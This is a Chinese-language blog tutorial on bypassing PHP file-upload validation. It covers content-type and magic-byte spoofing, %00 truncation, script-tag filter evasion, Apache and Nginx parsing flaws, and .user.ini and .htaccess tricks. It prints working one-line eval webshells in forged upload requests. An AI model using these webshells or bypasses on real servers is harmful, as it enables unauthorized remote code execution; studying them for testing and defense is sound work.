文件上传一般思路

一、前端JS校验

直接浏览器设置->禁用Javascript

传🐎

结束。

二、服务端校验

服务端校验:

  • content-type字段校验(image/png)
  • 文件内容头校验(GIF89a)
  • 后缀名黑名单校验
  • 后缀名白名单校验
  • 自定义正则校验
  • 文件内容检测

1、content-type字段校验

服务端校验大致源码:

<?php
if ($_FILES['userfile']['type'] != "image/png") {  //这里对上传的文件类型进行判断,如果不是image/png类型便返回错误。
    echo "Sorry, we only allow uploading PNG images";
    exit;
}
$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

    echo "File is valid, and was successfully uploaded.\n";
} else {

    echo "File uploading failed.\n";
}
?>

2、文件内容头校验

以上是常用的3种头,我一般就用 GIF89a 这个了。

后面就是一些比较明显的东西了。

3、文件内容检测

一般是检测你的文件内容里面有没有敏感字段

比如php代码的:<?、eval 之类的


三、文件上传绕过

1、content-type绕过

burp抓包修改对应字段值,比如这样:

Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: image/jpeg   //原本是:Content-Type: application/octet-stream

<script language="php">
    @eval($_POST['robot']);
    echo 'hello';
</script>

2、文件内容头绕过

比较常用GIF89a

Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

GIF89a
<?php @eval($_POST['robot']); ?>

3、后缀名黑名单遗漏

一般比如什么大小写,php 5.3.4 以下版本的%00截断啥的

%00截断:

其实%00,0x00 原理都是一样的

%00在ASCII码表里是第一个,也就是空字符

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束。

所以当url中出现%00时就会认为读取已结束

例如:

https://www.liru.com/upload.php?filename=1.jpg123456

加上%00

https://www.liru.com/upload.php?filename=1.jpg%00123456

相当于

https://www.liru.com/upload.php?filename=1.jpg

0x00:

十六进制空字符:

burp抓包后点hex进行更改

4、文件内容检测绕过:

过滤 <? :

可以用script标签绕过

<?php 
     @eval($_POST['robot']);
     echo 'hello';
?>
<script language="php">
    @eval($_POST['robot']);
    echo 'hello';
</script>

过滤eval函数的话可以用 system,assert等危险函数。

四、服务器解析漏洞

Windows的还没碰到过,哎暂时不谈

1、Apache解析漏洞:

漏洞原理:

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

比如:1.php.qwe.asd

“.qwe” 和 ”.asd” 这两种后缀是apache不可识别解析,所以apache就会把1.php.qwe.asd 解析成 1.php。

其余因配置文件而引发的漏洞:

奇奇怪怪的一点:php|php3|php5|phtml,经常都可以被apache解析。

2、Nginx解析漏洞:

不太常见,目前只知道有:

www.xxx.com/test.jpg/test/php,会把test.jpg当作test.php解析。

以后发现了再更新。

五、.user.ini和.htaccess

1、.user.ini

.user.ini的使用条件

nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

php配置访问级别:

不同的php配置项根据其访问级别具有不同的配置方式。

根据php手册的描述,有下列四种访问级别,不同的访问级别对应的配置方式如下表:

PHP_INI_USER     可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及.user.ini中设定
PHP_INI_PERDIR   可在 php.ini、.user.ini、.htaccess或 httpd.conf中设定
PHP_INI_SYSTEM   可在php.ini或httpd.conf中设定
PHP_INI_ALL      可用以上任何方式设定

访问级别实际上是一种掩码表示方式。

其中PHP_INI_USER对应1、PHP_INI_PERDIR对应2(即二进制的10)、PHP_INI_SYSTEM对应4(即二进制的100),而PHP_INI_ALL与其字面的意思相符,为所有掩码的集合,为7(即二进制的111)。

实际上访问级别除了1、2、4、7以外还有3、5、6的可能性,不过PHP没有给这些访问级别定义常量。

.user.ini实际上就是一个可以由用户“自定义”的php.ini。

我们能够自定义的设置是模式为除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

可以getshell的函数:

Php配置项中有两个比较有意思的项(下图第一、四个):

auto_append_file和auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。

而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=1.jpg  //1.jpg是要包含的文件。

所以,我们可以借助.user.ini轻松让目录下所有php文件都自动包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

目录下有.user.ini,包含webshell的1.jpg,正常php文件index.php,我们可以通过访问包含木马文件index.php,从而连接webshell。

使用环境:

不允许上传.php文件,你可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。

不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

2、.htaccess

利用环境

能上传php文件,但是没办法解析,或者不能上传php文件且上传目录下没有php文件。

利用方法

这里只是记录下如何用.htaccess进行文件上传绕过
建一个.htaccess 文件,里面的内容如下:

//FileMatch 参数即为文件名的正则匹配
<FilesMatch "du1ge"> 
SetHandler application/x-httpd-php
</FilesMatch>

再写个🐎:

// du1ge.php
<?php eval($_POST['hacker']);?>

再把du1ge.php改成du1ge.jpg传上去

访问,就是把du1ge.jpg当成du1ge.php解析啦。

然后直接连shell就行了

或者增加一个用php解析jpg的配置:

AddType application/x-httpd-php .jpg

目前对于文件传上去,强制改文件名,强制改后缀名的好像还没什么办法,以后解决了再更新。


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇